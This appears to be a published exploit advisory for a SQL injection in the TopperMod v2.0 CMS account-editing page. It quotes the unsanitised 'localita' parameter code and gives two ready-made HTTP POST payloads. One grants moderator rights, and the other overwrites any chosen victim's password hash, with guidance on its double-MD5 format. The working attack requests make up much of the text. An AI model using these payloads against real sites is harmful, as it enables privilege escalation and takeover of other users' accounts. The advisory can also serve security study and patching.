# Author:  __GiReX__
# mySite:  girex.altervista.org

# CMS:     TopperMod v2.0
# Site:    rtcw.ch/mio/index.php

# Bug:     SQL Injection

# Type:          1 - Priviledge Escalation (from user to mod)
    2 - Remote user password change

# File:   /account/index.php
# Var :    $localita

# Need:    magic_quotes_gpc = Off
    You must be logged in


# Vuln Code: /account/index.php:   

  case "edituser_save":
        ...


  $localita=$_POST['localita']; 
  ...

  if ($localita!="") { 
    if (eregi("^[a-zA-Z0-9]",$localita)) {
      $localita=substr(htmlentities(htmlspecialchars($localita), ENT_QUOTES),0,20);
    }
  }

# And if our $_POST['localita'] does not begin with a char or a number?
# Input not sanizated
  
  ...
  $res=dbquery("UPDATE ".PREFISSO."_utenti SET  email='$email', localita='$localita', sito='$sito', 
         tema='$tema_user', time_zone='$time_zone'  $pass  
         WHERE user_id='$user_id' "); 

# Vulnerable query :D

  

# PoC 1:

  POST  /[PATH]/mod.php?mod=account HTTP/1.1
  Host: [TARGET]
  ...headers...

  email=someone@somewhere.dot&localita=@', permessi='1&go=edituser_save&user_id=[YOUR_USER_ID]

# PoC 2:

  POST  /[PATH]/mod.php?mod=account HTTP/1.1
  Host: [TARGET]
  ...headers...

  email=someone@somewhere.dot&localita=@', password='[PASSWORD]&go=edituser_save&user_id=[VICTIM_USER_ID]



# Note: [PASSWORD] must be the md5 of the md5 of the wanted password, you must forget in the content the end quote
# We can also try to get admin hash trought sql subqueries but the password is crypted into md5 2 times
# and Admins don't use cookies in this CMS...